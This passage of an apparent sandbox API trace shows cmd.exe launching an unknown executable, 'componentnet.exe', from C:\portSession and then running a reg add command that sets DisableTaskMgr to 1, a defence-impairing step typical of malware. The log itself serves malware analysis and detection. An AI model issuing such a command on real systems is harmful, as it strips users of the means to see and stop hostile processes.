Flags=0x8, Size=0x18) returned 0x7677f8 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0091.993] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="sfxcmd=", _MaxCount=0x7) returned -16 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="sfxname", _MaxCount=0x7) returned -16 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="sfxpar=", _MaxCount=0x7) returned -16 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="sfxstim", _MaxCount=0x7) returned -16 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0091.994] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0091.994] GetProcessHeap () returned 0x760000 [0091.994] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x7677f8) returned 1 [0091.994] GetProcessHeap () returned 0x760000 [0091.994] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xa) returned 0x76aa68 [0091.995] lstrcmpW (lpString1="\\componentnet.exe", lpString2="\\XCOPY.EXE") returned -1 [0092.000] CreateProcessW (in: lpApplicationName="C:\\portSession\\componentnet.exe", lpCommandLine="\"C:\\portSession\\componentnet.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\portSession", lpStartupInfo=0x18e7b0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="\"C:\\portSession\\componentnet.exe\" ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18e7fc | out: lpCommandLine="\"C:\\portSession\\componentnet.exe\" ", lpProcessInformation=0x18e7fc*(hProcess=0xb8, hThread=0xb0, dwProcessId=0x388, dwThreadId=0x1134)) returned 1 [0092.298] CloseHandle (hObject=0xb0) returned 1 [0092.298] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0092.298] GetProcessHeap () returned 0x760000 [0092.298] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76afb0) returned 1 [0092.299] GetEnvironmentStringsW () returned 0x76afb0* [0092.299] GetProcessHeap () returned 0x760000 [0092.299] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xbfc) returned 0x779968 [0092.299] memcpy (in: _Dst=0x779968, _Src=0x76afb0, _Size=0xbfc | out: _Dst=0x779968) returned 0x779968 [0092.299] FreeEnvironmentStringsA (penv="=") returned 1 [0092.299] WaitForSingleObject (hHandle=0xb8, dwMilliseconds=0xffffffff) returned 0x0 [0143.636] GetExitCodeProcess (in: hProcess=0xb8, lpExitCode=0x18e794 | out: lpExitCode=0x18e794*=0x0) returned 1 [0143.637] CloseHandle (hObject=0xb8) returned 1 [0143.638] _vsnwprintf (in: _Buffer=0x18e87c, _BufferCount=0x13, _Format="%08X", _ArgList=0x18e79c | out: _Buffer="00000000") returned 8 [0143.638] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0143.639] GetProcessHeap () returned 0x760000 [0143.640] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x779968) returned 1 [0143.640] GetEnvironmentStringsW () returned 0x779968* [0143.640] GetProcessHeap () returned 0x760000 [0143.640] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xc22) returned 0x76c9d8 [0143.640] memcpy (in: _Dst=0x76c9d8, _Src=0x779968, _Size=0xc22 | out: _Dst=0x76c9d8) returned 0x76c9d8 [0143.640] FreeEnvironmentStringsA (penv="=") returned 1 [0143.640] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0143.640] GetProcessHeap () returned 0x760000 [0143.641] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76c9d8) returned 1 [0143.641] GetEnvironmentStringsW () returned 0x779968* [0143.641] GetProcessHeap () returned 0x760000 [0143.641] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xc22) returned 0x76c9d8 [0143.641] memcpy (in: _Dst=0x76c9d8, _Src=0x779968, _Size=0xc22 | out: _Dst=0x76c9d8) returned 0x76c9d8 [0143.641] FreeEnvironmentStringsA (penv="=") returned 1 [0143.641] GetProcessHeap () returned 0x760000 [0143.641] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76aa68) returned 1 [0143.641] DeleteProcThreadAttributeList (in: lpAttributeList=0x18e828 | out: lpAttributeList=0x18e828) [0143.642] GetConsoleTitleW (in: lpConsoleTitle=0x18eb70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0143.648] _wcsicmp (_String1="reg", _String2="DIR") returned 14 [0143.649] _wcsicmp (_String1="reg", _String2="ERASE") returned 13 [0143.649] _wcsicmp (_String1="reg", _String2="DEL") returned 14 [0143.649] _wcsicmp (_String1="reg", _String2="TYPE") returned -2 [0143.649] _wcsicmp (_String1="reg", _String2="COPY") returned 15 [0143.649] _wcsicmp (_String1="reg", _String2="CD") returned 15 [0143.649] _wcsicmp (_String1="reg", _String2="CHDIR") returned 15 [0143.649] _wcsicmp (_String1="reg", _String2="RENAME") returned -7 [0143.649] _wcsicmp (_String1="reg", _String2="REN") returned -7 [0143.649] _wcsicmp (_String1="reg", _String2="ECHO") returned 13 [0143.649] _wcsicmp (_String1="reg", _String2="SET") returned -1 [0143.649] _wcsicmp (_String1="reg", _String2="PAUSE") returned 2 [0143.649] _wcsicmp (_String1="reg", _String2="DATE") returned 14 [0143.649] _wcsicmp (_String1="reg", _String2="TIME") returned -2 [0143.649] _wcsicmp (_String1="reg", _String2="PROMPT") returned 2 [0143.649] _wcsicmp (_String1="reg", _String2="MD") returned 5 [0143.649] _wcsicmp (_String1="reg", _String2="MKDIR") returned 5 [0143.649] _wcsicmp (_String1="reg", _String2="RD") returned 1 [0143.649] _wcsicmp (_String1="reg", _String2="RMDIR") returned -8 [0143.649] _wcsicmp (_String1="reg", _String2="PATH") returned 2 [0143.649] _wcsicmp (_String1="reg", _String2="GOTO") returned 11 [0143.649] _wcsicmp (_String1="reg", _String2="SHIFT") returned -1 [0143.649] _wcsicmp (_String1="reg", _String2="CLS") returned 15 [0143.649] _wcsicmp (_String1="reg", _String2="CALL") returned 15 [0143.649] _wcsicmp (_String1="reg", _String2="VERIFY") returned -4 [0143.649] _wcsicmp (_String1="reg", _String2="VER") returned -4 [0143.649] _wcsicmp (_String1="reg", _String2="VOL") returned -4 [0143.649] _wcsicmp (_String1="reg", _String2="EXIT") returned 13 [0143.649] _wcsicmp (_String1="reg", _String2="SETLOCAL") returned -1 [0143.650] _wcsicmp (_String1="reg", _String2="ENDLOCAL") returned 13 [0143.650] _wcsicmp (_String1="reg", _String2="TITLE") returned -2 [0143.650] _wcsicmp (_String1="reg", _String2="START") returned -1 [0143.650] _wcsicmp (_String1="reg", _String2="DPATH") returned 14 [0143.650] _wcsicmp (_String1="reg", _String2="KEYS") returned 7 [0143.650] _wcsicmp (_String1="reg", _String2="MOVE") returned 5 [0143.650] _wcsicmp (_String1="reg", _String2="PUSHD") returned 2 [0143.650] _wcsicmp (_String1="reg", _String2="POPD") returned 2 [0143.650] _wcsicmp (_String1="reg", _String2="ASSOC") returned 17 [0143.650] _wcsicmp (_String1="reg", _String2="FTYPE") returned 12 [0143.650] _wcsicmp (_String1="reg", _String2="BREAK") returned 16 [0143.650] _wcsicmp (_String1="reg", _String2="COLOR") returned 15 [0143.650] _wcsicmp (_String1="reg", _String2="MKLINK") returned 5 [0143.650] _wcsicmp (_String1="reg", _String2="DIR") returned 14 [0143.650] _wcsicmp (_String1="reg", _String2="ERASE") returned 13 [0143.650] _wcsicmp (_String1="reg", _String2="DEL") returned 14 [0143.650] _wcsicmp (_String1="reg", _String2="TYPE") returned -2 [0143.650] _wcsicmp (_String1="reg", _String2="COPY") returned 15 [0143.650] _wcsicmp (_String1="reg", _String2="CD") returned 15 [0143.650] _wcsicmp (_String1="reg", _String2="CHDIR") returned 15 [0143.650] _wcsicmp (_String1="reg", _String2="RENAME") returned -7 [0143.650] _wcsicmp (_String1="reg", _String2="REN") returned -7 [0143.650] _wcsicmp (_String1="reg", _String2="ECHO") returned 13 [0143.650] _wcsicmp (_String1="reg", _String2="SET") returned -1 [0143.650] _wcsicmp (_String1="reg", _String2="PAUSE") returned 2 [0143.650] _wcsicmp (_String1="reg", _String2="DATE") returned 14 [0143.650] _wcsicmp (_String1="reg", _String2="TIME") returned -2 [0143.650] _wcsicmp (_String1="reg", _String2="PROMPT") returned 2 [0143.651] _wcsicmp (_String1="reg", _String2="MD") returned 5 [0143.651] _wcsicmp (_String1="reg", _String2="MKDIR") returned 5 [0143.651] _wcsicmp (_String1="reg", _String2="RD") returned 1 [0143.651] _wcsicmp (_String1="reg", _String2="RMDIR") returned -8 [0143.651] _wcsicmp (_String1="reg", _String2="PATH") returned 2 [0143.651] _wcsicmp (_String1="reg", _String2="GOTO") returned 11 [0143.651] _wcsicmp (_String1="reg", _String2="SHIFT") returned -1 [0143.651] _wcsicmp (_String1="reg", _String2="CLS") returned 15 [0143.651] _wcsicmp (_String1="reg", _String2="CALL") returned 15 [0143.651] _wcsicmp (_String1="reg", _String2="VERIFY") returned -4 [0143.651] _wcsicmp (_String1="reg", _String2="VER") returned -4 [0143.651] _wcsicmp (_String1="reg", _String2="VOL") returned -4 [0143.651] _wcsicmp (_String1="reg", _String2="EXIT") returned 13 [0143.651] _wcsicmp (_String1="reg", _String2="SETLOCAL") returned -1 [0143.651] _wcsicmp (_String1="reg", _String2="ENDLOCAL") returned 13 [0143.651] _wcsicmp (_String1="reg", _String2="TITLE") returned -2 [0143.651] _wcsicmp (_String1="reg", _String2="START") returned -1 [0143.651] _wcsicmp (_String1="reg", _String2="DPATH") returned 14 [0143.651] _wcsicmp (_String1="reg", _String2="KEYS") returned 7 [0143.651] _wcsicmp (_String1="reg", _String2="MOVE") returned 5 [0143.651] _wcsicmp (_String1="reg", _String2="PUSHD") returned 2 [0143.651] _wcsicmp (_String1="reg", _String2="POPD") returned 2 [0143.651] _wcsicmp (_String1="reg", _String2="ASSOC") returned 17 [0143.651] _wcsicmp (_String1="reg", _String2="FTYPE") returned 12 [0143.651] _wcsicmp (_String1="reg", _String2="BREAK") returned 16 [0143.651] _wcsicmp (_String1="reg", _String2="COLOR") returned 15 [0143.651] _wcsicmp (_String1="reg", _String2="MKLINK") returned 5 [0143.651] _wcsicmp (_String1="reg", _String2="FOR") returned 12 [0143.652] _wcsicmp (_String1="reg", _String2="IF") returned 9 [0143.652] _wcsicmp (_String1="reg", _String2="REM") returned -6 [0143.652] GetProcessHeap () returned 0x760000 [0143.652] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x210) returned 0x768268 [0143.652] GetProcessHeap () returned 0x760000 [0143.652] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xe6) returned 0x76bbe0 [0143.652] _wcsnicmp (_String1="reg", _String2="cmd ", _MaxCount=0x4) returned 15 [0143.652] GetProcessHeap () returned 0x760000 [0143.652] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x418) returned 0x768480 [0143.652] SetErrorMode (uMode=0x0) returned 0x0 [0143.652] SetErrorMode (uMode=0x1) returned 0x0 [0143.652] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x768488, lpFilePart=0x18e67c | out: lpBuffer="C:\\portSession", lpFilePart=0x18e67c*="portSession") returned 0xe [0143.653] SetErrorMode (uMode=0x0) returned 0x1 [0143.653] GetProcessHeap () returned 0x760000 [0143.653] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x768480, Size=0x2e) returned 0x768480 [0143.653] GetProcessHeap () returned 0x760000 [0143.653] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x768480) returned 0x2e [0143.653] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x13ff4a0, nSize=0x2000 | out: lpBuffer="") returned 0x9c [0143.653] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0143.653] GetProcessHeap () returned 0x760000 [0143.653] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x164) returned 0x778f90 [0143.653] GetProcessHeap () returned 0x760000 [0143.653] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x2c0) returned 0x7684b8 [0143.660] GetProcessHeap () returned 0x760000 [0143.660] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x7684b8, Size=0x166) returned 0x7684b8 [0143.660] GetProcessHeap () returned 0x760000 [0143.660] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x7684b8) returned 0x166 [0143.660] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x13ff4a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0143.660] GetProcessHeap () returned 0x760000 [0143.661] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xe0) returned 0x768628 [0143.661] GetProcessHeap () returned 0x760000 [0143.661] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x768628, Size=0x76) returned 0x768628 [0143.661] GetProcessHeap () returned 0x760000 [0143.661] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x768628) returned 0x76 [0143.661] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0143.661] FindFirstFileExW (in: lpFileName="C:\\portSession\\reg.*" (normalized: "c:\\portsession\\reg.*"), fInfoLevelId=0x1, lpFindFileData=0x18e408, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e408) returned 0xffffffff [0143.662] GetLastError () returned 0x2 [0143.662] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0143.662] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath\\reg.*" (normalized: "c:\\program files (x86)\\common files\\oracle\\java\\javapath\\reg.*"), fInfoLevelId=0x1, lpFindFileData=0x18e408, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e408) returned 0xffffffff [0143.663] GetLastError () returned 0x2 [0143.663] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0143.663] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.*" (normalized: "c:\\windows\\syswow64\\reg.*"), fInfoLevelId=0x1, lpFindFileData=0x18e408, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e408) returned 0x77afa8 [0143.663] FindClose (in: hFindFile=0x77afa8 | out: hFindFile=0x77afa8) returned 1 [0143.664] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.COM" (normalized: "c:\\windows\\syswow64\\reg.com"), fInfoLevelId=0x1, lpFindFileData=0x18e408, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e408) returned 0xffffffff [0143.664] GetLastError () returned 0x2 [0143.664] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.EXE" (normalized: "c:\\windows\\syswow64\\reg.exe"), fInfoLevelId=0x1, lpFindFileData=0x18e408, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e408) returned 0x77afa8 [0143.664] FindClose (in: hFindFile=0x77afa8 | out: hFindFile=0x77afa8) returned 1 [0143.664] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0143.664] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0143.664] GetConsoleTitleW (in: lpConsoleTitle=0x18e8fc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0143.667] InitializeProcThreadAttributeList (in: lpAttributeList=0x18e828, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18e80c | out: lpAttributeList=0x18e828, lpSize=0x18e80c) returned 1 [0143.667] UpdateProcThreadAttribute (in: lpAttributeList=0x18e828, dwFlags=0x0, Attribute=0x60001, lpValue=0x18e814, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18e828, lpPreviousValue=0x0) returned 1 [0143.667] GetStartupInfoW (in: lpStartupInfo=0x18e860 | out: lpStartupInfo=0x18e860*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0143.667] GetProcessHeap () returned 0x760000 [0143.667] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x18) returned 0x7679b8 [0143.667] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0143.667] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0143.667] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0143.667] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="sfxcmd=", _MaxCount=0x7) returned -16 [0143.668] _wcsnicmp (_String1="COPYCMD", _String2="sfxname", _MaxCount=0x7) returned -16 [0143.669] _wcsnicmp (_String1="COPYCMD", _String2="sfxpar=", _MaxCount=0x7) returned -16 [0143.669] _wcsnicmp (_String1="COPYCMD", _String2="sfxstim", _MaxCount=0x7) returned -16 [0143.669] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0143.669] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0143.669] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0143.669] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0143.669] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0143.669] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0143.669] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0143.669] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0143.669] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0143.669] GetProcessHeap () returned 0x760000 [0143.669] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x7679b8) returned 1 [0143.669] GetProcessHeap () returned 0x760000 [0143.669] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xa) returned 0x76aa68 [0143.669] lstrcmpW (lpString1="\\reg.exe", lpString2="\\XCOPY.EXE") returned -1 [0143.669] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\reg.exe", lpCommandLine="reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\portSession", lpStartupInfo=0x18e7b0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18e7fc | out: lpCommandLine="reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", lpProcessInformation=0x18e7fc*(hProcess=0xb0, hThread=0xb8, dwProcessId=0x860, dwThreadId=0x238)) returned 1 [0143.701] CloseHandle (hObject=0xb8) returned 1 [0143.701] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0143.701] GetProcessHeap () returned 0x760000 [0143.702] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76c9d8) returned 1 [0143.702] GetEnvironmentStringsW () returned 0x76c9d8* [0143.702] GetProcessHeap () returned 0x760000 [0143.702] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xc22) returned 0x76d608 [0143.702] memcpy (in: _Dst=0x76d608, _Src=0x76c9d8, _Size=0xc22 | out: _Dst=0x76d608) returned 0x76d608 [0143.702] FreeEnvironmentStringsA (penv="=") returned 1 [0143.702] WaitForSingleObject (hHandle=0xb0, dwMilliseconds=0xffffffff) returned 0x0 [0143.895] GetExitCodeProcess (in: hProcess=0xb0, lpExitCode=0x18e794 | out: lpExitCode=0x18e794*=0x0) returned 1 [0143.895] CloseHandle (hObject=0xb0) returned 1 [0143.895] _vsnwprintf (in: _Buffer=0x18e87c, _BufferCount=0x13, _Format="%08X", _ArgList=0x18e79c | out: _Buffer="00000000") returned 8 [0143.895] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0143.895] GetProcessHeap () returned 0x760000 [0143.896] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76d608) returned 1 [0143.896] GetEnvironmentStringsW () returned 0x76c9d8* [0143.896] GetProcessHeap () returned 0x760000 [0143.896] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xc22) returned 0x76d608 [0143.896] memcpy (in: _Dst=0x76d608, _Src=0x76c9d8, _Size=0xc22 | out: _Dst=0x76d608) returned 0x76d608 [0143.896] FreeEnvironmentStringsA (penv="=") returned 1 [0143.896] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0143.896] GetProcessHeap () returned 0x760000 [0143.897] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76d608) returned 1 [0143.897] GetEnvironmentStringsW () returned 0x76c9d8* [0143.897] GetProcessHeap () returned 0x760000 [0143.897] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xc22) returned 0x76d608 [0143.897] memcpy (in: _Dst=0x76d608, _Src=0x76c9d8, _Size=0xc22 | out: _Dst=0x76d608) returned 0x76d608 [0143.897] FreeEnvironmentStringsA (penv="=") returned 1 [0143.897] GetProcessHeap () returned 0x760000 [0143.897] RtlFreeHeap (HeapHandle=0x760000, Flags=0x0, BaseAddress=0x76aa68) returned 1 [0143.897] DeleteProcThreadAttributeList (in: lpAttributeList=0x18e828 | out: lpAttributeList=0x18e828) [0143.897] _get_osfhandle (_FileHandle=1) returned 0x3c [0143.897] SetConsoleMode (hConsoleHandle=0x3c, 